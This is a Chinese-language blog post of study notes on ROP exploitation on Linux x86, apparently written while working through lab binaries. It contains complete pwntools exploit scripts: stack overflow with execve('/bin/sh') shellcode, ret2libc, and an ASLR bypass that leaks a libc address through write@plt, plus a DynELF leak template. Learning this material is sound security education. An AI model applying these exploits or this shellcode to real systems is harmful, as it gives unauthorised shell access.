首页 > 代码库 > 一步一步学ROP Linux x86

一步一步学ROP Linux x86

一步一步学ROP Linux x86 学习笔记
一、无任何防护
二、开启DEP
三、开启DEP和ASLR
四、开启DEP和ASLR,无libc

一步一步学ROP Linux x86 学习笔记

这部分文章主要依据的是蒸米大神的一步一步学ROP系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方。

一、无任何防护

在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp。
从最基础的开始,先学无任何防护的栈溢出。使用checksec看一下防护:
技术分享
那就简单了,直接用shellcode打就可以,这里要注意一下覆盖的返回地址可以设置为buf的起始地址, 然后把shellcode放在buf里,但是这个buf的地址不能通过gdb直接调试得到,因为gdb调试会影响buf的位置,即使我们关闭了Linux的ASLR。根据蒸米的文章,就是开启core dump这个功能。
开启之后,当出现内存错误的时候,就会在tmp文件夹下生成一个core dump文件,然后用gdb加载调试就可以得到buf在内存中的固定地址:
技术分享
然后就坑了,本地调试一直没有打通,使用socat放在远程,还是通过core dump得到远程buf地址,再用相同的exp打就成功了,exp如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. # p = process(‘./level1‘)
  4. p = remote(‘127.0.0.1‘,10008)
  5. ret = 0xffffcec0
  6. # execve ("/bin/sh")
  7. # xor ecx, ecx
  8. # mul ecx
  9. # push ecx
  10. # push 0x68732f2f ;; hs//
  11. # push 0x6e69622f ;; nib/
  12. # mov ebx, esp
  13. # mov al, 11
  14. # int 0x80
  15. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  16. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  17. shellcode += "\x0b\xcd\x80"
  18. payload = shellcode + ‘A‘ * (140 - len(shellcode)) + p32(ret)
  19. p.send(payload)
  20. p.interactive()

十分奇怪,,,

二、开启DEP

栈不可以执行,在Windows中DEP,在Linux中叫NX,看一下level2的保护:
技术分享
栈不可以执行之后,shellcode就没法用了,所以考虑使用系统调用开一个shell。所以我们需要解决三件事:
· 获取system地址
· 获取参数/bin/sh地址
· 如何执行system函数
本题假设还是ASLR关闭的情况,所以system函数在内存中的地址是固定的,同时参数/bin/sh的地址也是固定的。通过peda插件,分别找到这两者的地址:
技术分享
然后返回地址布置为system的内存中地址,给出exp:

  1. from pwn import *
  2. sh = process("./level2")
  3. systemaddr = 0xf7e31020
  4. binaddr = 0xf7f557cf
  5. junk = ‘a‘*136
  6. fakebp = ‘a‘*4
  7. shellcode = ""
  8. shellcode += junk+fakebp
  9. shellcode += p32(systemaddr)
  10. shellcode += p32(1111)
  11. shellcode += p32(binaddr)
  12. sh.send(shellcode)
  13. sh.interactive()

这次本地测试就拿到shell了,还是没有搞懂level1的本地测试失败的问题:
技术分享

三、开启DEP和ASLR

开启ASLR之后,第二部分直接在内存中找system和参数地址的方法就无法使用了,不过总体思路还是执行system开一个shell。
思路是通过write函数泄露出write函数在内存中地址,然后根据libc计算出system在内存中的地址,参数地址可以通过同样的方法获取。然后布置返回地址为漏洞函数的地址(程序本身在内存中地址不是随机的),溢出两次,第二次实行system,获取shell,给出exp:

  1. from pwn import *
  2. # sh = process("./level2")
  3. sh = remote("127.0.0.1",10008)
  4. libc = ELF("libc.so")
  5. elf = ELF("level2")
  6. # offset
  7. readoffset = libc.symbols[‘read‘]
  8. writeoffset = libc.symbols[‘write‘]
  9. systemoffset = libc.symbols[‘system‘]
  10. binoffset = 0x0015F7CF
  11. # plt
  12. readplt = elf.plt[‘read‘]
  13. writeplt = elf.plt[‘write‘]
  14. # got
  15. readgot = elf.got[‘read‘]
  16. writegot = elf.got[‘write‘]
  17. # lead the address of write
  18. payload = ""
  19. vulfun = 0x8048436
  20. junk = ‘a‘*136
  21. fakebp = ‘a‘*4
  22. payload += junk + fakebp
  23. payload += p32(writeplt) + p32(vulfun) + p32(1) + p32(writegot) + p32(4)
  24. sh.send(payload)
  25. writeaddress = u32(sh.recv(4))
  26. # calc the system and /bin/sh
  27. systemadress = writeaddress - writeoffset + systemoffset
  28. binaddress = writeaddress - writeoffset + binoffset
  29. payload2 = ""
  30. payload2 += junk + fakebp
  31. payload2 += p32(systemadress) + p32(1) + p32(binaddress)
  32. sh.send(payload2)
  33. sh.interactive()

本地测试通过之后,试试远程打一下
通过socat命令:

  1. socat TCP4-LISTEN:10008,fork EXEC:./level2

同样成功:
技术分享

四、开启DEP和ASLR,无libc

当开启DEP和ASLR,并且没有libc的时候,第三部的方法也不好使了,不过这种情况也是老套路了。
使用pwntools的DynELF去泄露system的内存地址,然后调用read函数想.bss段中写入"/bin/sh",然后调用system即可。
多说一下DynELF模块的使用方法吧,这是基本的模板:

  1. p = process(‘./xxx‘)
  2. def leak(address):
  3. #各种预处理
  4. payload = "xxxxxxxx" + address + "xxxxxxxx"
  5. p.send(payload)
  6. #各种处理
  7. data = p.recv(4)
  8. log.debug("%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)))
  9. return data
  10. d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
  11. systemAddress = d.lookup(‘system‘, ‘libc‘) #在libc文件中搜索system函数的地址

该模块是pwntools专门用来应对没有libc的情况的。

一步一步学ROP Linux x86